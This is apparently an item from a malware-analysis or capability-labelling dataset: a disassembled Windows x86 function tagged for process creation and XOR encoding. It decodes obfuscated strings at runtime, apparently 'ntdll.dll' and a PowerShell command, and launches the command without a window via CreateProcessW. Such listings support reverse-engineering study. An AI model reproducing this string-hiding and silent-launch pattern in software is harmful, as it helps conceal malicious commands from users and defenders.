Function at 0x40a3f0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f6b00
mov eax, dword fs:[0]
push eax
sub esp, 0x16c
mov eax, dword [0x6817dc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
call fcn.00406a40
mov ecx, eax
test ecx, ecx
je 0x40a874
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x14], eax
mov eax, 0x664bac
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
test eax, 0xffff0000
jne 0x40a45d
movzx eax, ax
push eax
call fcn.0040cf00
jmp 0x40a469
push 0
push 0x664bac
call fcn.0040d230
mov dword [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x7c], 0x9c1b9c00
mov dword [ebp - 0x78], 0x9c1d9c14
mov dword [ebp - 0x74], 0x9c5d9c1e
mov dword [ebp - 0x70], 0x9c199c10
mov dword [ebp - 0x6c], 0x9c1a
mov byte [ebp - 0x68], 1
nop dword [eax]
lea eax, [ecx - 0x6392]
xor word [ebp + ecx*2 - 0x7c], ax
inc ecx
cmp ecx, 9
jb 0x40a4a0
lea eax, [ebp - 0x7c]
mov byte [ebp - 0x68], 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, eax
test edx, edx
je 0x40a830
movaps xmm0, xmmword [0x665130]
xor ecx, ecx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x84], 0xe4e2120b
mov dword [ebp - 0x80], 0x100f0f0
nop
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0x16
jb 0x40a500
lea eax, [ebp - 0x94]
mov byte [ebp - 0x7d], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40a830
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x18]
push ecx
call eax
cmp dword [ebp - 0x18], 0xa
jb 0x40a830
mov dword [ebp - 0x178], 0x9c009c1e
xor eax, eax
mov dword [ebp - 0x174], 0x9c149c07
mov dword [ebp - 0x170], 0x9c009c00
mov dword [ebp - 0x16c], 0x9c109c1c
mov dword [ebp - 0x168], 0x9c1b9c1a
mov dword [ebp - 0x164], 0x9c549c58
mov dword [ebp - 0x160], 0x9c159c13
mov dword [ebp - 0x15c], 0x9c089c0c
mov dword [ebp - 0x158], 0x9c199c0a
mov dword [ebp - 0x154], 0x9cf39cef
mov dword [ebp - 0x150], 0x9ce29cef
mov dword [ebp - 0x14c], 0x9ca59cf0
mov dword [ebp - 0x148], 0x9ce89ce8
mov dword [ebp - 0x144], 0x9cec9ce6
mov dword [ebp - 0x140], 0x9ca69caa
mov dword [ebp - 0x13c], 0x9cf89ce3
mov dword [ebp - 0x138], 0x9cff9cfa
mov dword [ebp - 0x134], 0x9ce59ce5
mov dword [ebp - 0x130], 0x9cfc9cf4
mov dword [ebp - 0x12c], 0x9cf89ce6
mov dword [ebp - 0x128], 0x9ce39cf7
mov dword [ebp - 0x124], 0x9cf79cb8
mov dword [ebp - 0x120], 0x9cf59cf5
mov dword [ebp - 0x11c], 0x9cbd9cf9
mov dword [ebp - 0x118], 0x9cd19cb3
mov dword [ebp - 0x114], 0x9ccf9ccf
mov dword [ebp - 0x110], 0x9ccd9ceb
mov dword [ebp - 0x10c], 0x9cc09cd0
mov dword [ebp - 0x108], 0x9cc69cd4
mov dword [ebp - 0x104], 0x9cdd9ccb
mov dword [ebp - 0x100], 0x9cdd9cc3
mov dword [ebp - 0xfc], 0x9c8d9cc9
mov dword [ebp - 0xf8], 0x9cec9c83
mov dword [ebp - 0xf4], 0x9cdc9cdf
mov dword [ebp - 0xf0], 0x9cd29cdf
mov dword [ebp - 0xec], 0x9cd19cda
mov dword [ebp - 0xe8], 0x9c959c96
mov dword [ebp - 0xe4], 0x9cdd9cf9
mov dword [ebp - 0xe0], 0x9c969cde
mov dword [ebp - 0xdc], 0x9ccd9cf1
mov dword [ebp - 0xd8], 0x9ccd9cee
mov dword [ebp - 0xd4], 0x9ca79ca5
mov dword [ebp - 0xd0], 0x9cb19ca7
mov dword [ebp - 0xcc], 0x9cab9ca1
mov dword [ebp - 0xc8], 0x9ca29ca5
mov dword [ebp - 0xc4], 0x9ce49ce8
mov dword [ebp - 0xc0], 0x9cb39c8f
mov dword [ebp - 0xbc], 0x9ca19caf
mov dword [ebp - 0xb8], 0x9cbc9cbb
mov dword [ebp - 0xb4], 0x9cbe9cb9
mov dword [ebp - 0xb0], 0x9c839cbc
mov dword [ebp - 0xac], 0x9ca19cb5
mov dword [ebp - 0xa8], 0x9cf79cbe
mov dword [ebp - 0xa4], 0x9cfc9cff
mov dword [ebp - 0xa0], 0x9cfc9ca9
mov dword [ebp - 0x9c], 0x9cfe
mov byte [ebp - 0x98], 1
nop dword [eax + eax]
lea ecx, [eax - 0x6392]
xor word [ebp + eax*2 - 0x178], cx
inc eax
cmp eax, 0x6f
jb 0x40a780
push esi
lea eax, [ebp - 0x178]
mov byte [ebp - 0x98], 0
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0040d450
mov esi, dword [ebp - 0x14]
xorps xmm0, xmm0
add esp, 0xc
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
mov dword [ebp - 0x64], 0x44
movups xmmword [ebp - 0x78], xmm0
cmp dword [esi - 4], 1
jle 0x40a7fc
push dword [esi - 0xc]
lea ecx, [ebp - 0x14]
call fcn.0040beb0
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x64]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40a833
push 0x2710
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40a833
mov esi, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40a852
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0055e6d4
mov esp, ebp
pop ebp
ret 4
push 0x80004005
call fcn.004068b0
int3